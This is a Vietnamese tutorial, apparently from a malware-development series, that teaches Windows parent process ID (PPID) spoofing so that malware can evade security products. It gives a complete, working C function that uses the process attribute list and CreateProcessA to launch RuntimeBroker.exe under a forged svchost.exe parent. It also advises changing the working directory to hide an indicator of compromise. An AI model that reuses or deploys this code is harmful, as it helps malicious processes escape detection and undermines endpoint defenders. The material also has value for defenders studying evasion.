Introduction

Parent Proccess ID (PPID) Spoofing là một kỹ thuật dùng để thay đổi PPID của một tiến trình nhằm che giấu mối quan hệ giữa tiến trình hiện tại với tiến trình cha thật sự của nó.

Các giải pháp bảo mật thường tìm kiếm những mối quan hệ bất thường chẳng hạn như việc Microsoft Word có tiến trình con là cmd.exe. Nếu chúng ta có thể thay thế PPID của cmd.exe thành của một tiến trình hợp lệ nào đó khác thì có thể né tránh được sự phát hiện.

Một ví dụ khác về mối quan hệ bất thường: trong phần Early Bird APC Injection, việc tạo ra tiến trình RuntimeBroker.exe từ EarlyBird.exe có thể bị các giải pháp bảo mật đánh dấu là đáng ngờ.

Attributes List

Là một cấu trúc dữ liệu chứa các thuộc tính liên quan đến một tiến trình hoặc một thread chẳng hạn như độ ưu tiên, thuật toán điều phối, không gian địa chỉ bộ nhớ, etc. Danh sách thuộc tính này có thể được dùng để truy xuất cũng như là chỉnh sửa các thuộc tính của tiến trình hoặc thread khi đang chạy.

Creating a Process

Để làm giả PPID của một tiến trình thì ta cần tạo ra tiến trình đó sử dụng hàm CreateProcess với flag EXTENDED_STARTUPINFO_PRESENT. Flag này cho phép ta có thể thay đổi một số thông tin của tiến trình chẳng hạn như PPID.

Theo Microsoft mô tả:

Cite

The process is created with extended startup information; the lpStartupInfo parameter specifies a STARTUPINFOEX structure.

Đoạn mô tả trên cho ta biết rằng khi sử dụng flag EXTENDED_STARTUPINFO_PRESENT, ta cần truyền vào tham số lpStartupInfo một biến có kiểu dữ liệu cấu trúc STARTUPINFOEX.

STARTUPINFOEXA Structure

Cấu trúc STARTUPINFOEXA có dạng như sau:

typedef struct _STARTUPINFOEXA {
  STARTUPINFOA                 StartupInfo;
  LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList; // Attributes List
} STARTUPINFOEXA, *LPSTARTUPINFOEXA;

Với:

  • StartupInfo là cấu trúc tương tự mà ta đã dùng để tạo process ở trong các bài trước1. Thành phần duy nhất mà ta cần khởi tạo giá trị là trường cb với giá trị là sizeof(STARTUPINFOEX).
  • lpAttributeList sẽ được khởi tạo bởi hàm InitializeProcThreadAttributeList

Initializing The Attributes List

Nguyên mẫu của hàm InitializeProcThreadAttributeList:

BOOL InitializeProcThreadAttributeList(
  [out, optional] LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
  [in]            DWORD                        dwAttributeCount,
                  DWORD                        dwFlags, 		// NULL (reserved)
  [in, out]       PSIZE_T                      lpSize
);

Theo tài liệu của Microsoft, hàm này cần phải được gọi 2 lần:

  1. Lần thứ nhất với đối số truyền vào lpAttributeListNULL. Lần này là để xác định kích thước của danh sách các thuộc tính mà sẽ được trả về thông qua tham số lpSize.
  2. Lần thứ hai với đối số truyền vào lpAttributeList là một con trỏ hợp lệ cùng với kích thước của danh sách thuộc tính đã biết. Lần gọi này sẽ giúp khởi tạo danh sách thuộc tính.

Đối số truyền vào dwAttributeCount sẽ là 1 do ta chỉ cần khởi tạo duy nhất 1 thuộc tính.

Updating The Attributes List

Sau khi danh sách thuộc tính đã được khởi tạo, ta sẽ sử dụng hàm UpdateProcThreadAttribute để cập nhật thuộc tính mà ta cần. Nguyên mẫu của hàm này:

BOOL UpdateProcThreadAttribute(
  [in, out]       LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,   // return value from InitializeProcThreadAttributeList 
  [in]            DWORD                        dwFlags,           // NULL (reserved)
  [in]            DWORD_PTR                    Attribute,
  [in]            PVOID                        lpValue,           // pointer to the attribute value
  [in]            SIZE_T                       cbSize,            // sizeof(lpValue)
  [out, optional] PVOID                        lpPreviousValue,   // NULL (reserved)
  [in, optional]  PSIZE_T                      lpReturnSize       // NULL (reserved)
);

Với:

  • Attribute sẽ là PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, tương ứng với việc ta sẽ cập nhật thông tin về tiến trình cha. Flag này giúp chỉ định tiến trình cha của một thread. Tiến trình cha của một thread là tiến trình tạo ra thread đó.
    • Nếu thread được tạo ra thông qua hàm CreateThread thì tiến trình cha của thread sẽ là tiến trình gọi hàm.
    • Nếu thread được tạo ra như là một phần của việc tạo tiến trình bởi hàm CreateProcess thì tiến trình cha của thread sẽ là tiến trình được tạo ra.

PPID Spoofing Function

Chúng ta sẽ tạo ra hàm CreatePPidSpoofedProcess để thực hiện giả mạo PPID của một tiến trình. Hàm này có nguyên mẫu như sau:

BOOL CreatePPidSpoofedProcess(IN HANDLE hParentProcess, IN LPCSTR lpProcessName, OUT DWORD* dwProcessId, OUT HANDLE* hProcess, OUT HANDLE* hThread);

Với:

  • hParentProcess là handle đến tiến trình mà sẽ được dùng làm tiến trình cha giả mạo.
  • lpProcessName là tên của tiến trình sẽ được tạo ra.

Trước tiên, ta sẽ khởi tạo một số biến như sau:

CHAR                               lpPath               [MAX_PATH * 2];
CHAR                               WnDr                 [MAX_PATH];
 
SIZE_T                             sThreadAttList       = NULL;
PPROC_THREAD_ATTRIBUTE_LIST        pThreadAttList       = NULL;
 
STARTUPINFOEXA                     SiEx                = { 0 };
PROCESS_INFORMATION                Pi                  = { 0 };
 
RtlSecureZeroMemory(&SiEx, sizeof(STARTUPINFOEXA));
RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));
 
// Setting the size of the structure
SiEx.StartupInfo.cb = sizeof(STARTUPINFOEXA);

Sau đó, xây dựng đường dẫn đến file thực thi mà ta cần tạo tiến trình:

if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) {
	printf("[!] GetEnvironmentVariableA Failed With Error : %d \n", GetLastError());
	return FALSE;
}
 
sprintf(lpPath, "%s\\System32\\%s", WnDr, lpProcessName);

Gọi InitializeProcThreadAttributeList 2 lần để khởi tạo danh sách thuộc tính:

// This will fail with ERROR_INSUFFICIENT_BUFFER, as expected
InitializeProcThreadAttributeList(NULL, 1, NULL, &sThreadAttList);	
 
// Allocating enough memory
pThreadAttList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sThreadAttList);
if (pThreadAttList == NULL){
	printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
	return FALSE;
}
 
// Calling InitializeProcThreadAttributeList again, but passing the right parameters
if (!InitializeProcThreadAttributeList(pThreadAttList, 1, NULL, &sThreadAttList)) {
	printf("[!] InitializeProcThreadAttributeList Failed With Error : %d \n", GetLastError());
	return FALSE;
}

Có thể thấy, sau khi biết được kích thước của danh sách thuộc tính thì ta sẽ cần phải sử dụng hàm HeapAlloc để cấp phát vùng nhớ. Con trỏ trả về từ việc cấp phát vùng nhớ cũng sẽ là đối số đầu tiên truyền vào hàm InitializeProcThreadAttributeList.

Cập nhật thông tin về tiến trình cha ở trong danh sách thuộc tính:

if (!UpdateProcThreadAttribute(pThreadAttList, NULL, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParentProcess, sizeof(HANDLE), NULL, NULL)) {
	printf("[!] UpdateProcThreadAttribute Failed With Error : %d \n", GetLastError());
	return FALSE;
}

Gán danh sách thuộc tính cho cấu trúc STARTUPINFOEXA:

// Setting the LPPROC_THREAD_ATTRIBUTE_LIST element in SiEx to be equal to what was
// created using UpdateProcThreadAttribute - that is the parent process
SiEx.lpAttributeList = pThreadAttList;

Tạo tiến trình với cấu trúc STARTUPINFOEXA ở trên và lưu lại các thông tin liên quan đến tiến trình chẳng hạn như PID, handle và handle đến main thread:

if (!CreateProcessA(
	NULL,
	lpPath,
	NULL,
	NULL,
	FALSE,
	EXTENDED_STARTUPINFO_PRESENT,
	NULL,
	NULL,
	&SiEx.StartupInfo,
	&Pi)) {
	printf("[!] CreateProcessA Failed with Error : %d \n", GetLastError());
	return FALSE;
}
 
 
*dwProcessId	= Pi.dwProcessId;
*hProcess		= Pi.hProcess;
*hThread		= Pi.hThread;

Cuối cùng, dọn dẹp và đảm bảo rằng các thông tin mà ta cần là đủ:

// Cleaning up
DeleteProcThreadAttributeList(pThreadAttList);
CloseHandle(hParentProcess);
 
if (*dwProcessId != NULL && *hProcess != NULL && *hThread != NULL)
	return TRUE;
 
return FALSE;

Demo

Tạo ra tiến trình con là RuntimeBroker.exe với tiến trình cha là svchost.exe có PID là 21956 và đang chạy dưới quyền bình thường:

Có thể thấy, tiến trình cha hiển thị ở trong Process Hacker là svchost.exe như ta mong đợi:

Chú ý rằng thư mục hiện tại hiển thị trong ProcessHacker là thư mục của malware. Đây có thể là một IoC và sẽ bị đánh dấu là bất thường:

Để giải quyết điều này, ta có thể truyền vào tham số lpCurrentDirectory của CreateProcess một giá trị hợp lệ nào đó chẳng hạn như C:\Windows\System32:

Resources

Footnotes

  1. xem thêm APC Injection hoặc Thread Hijacking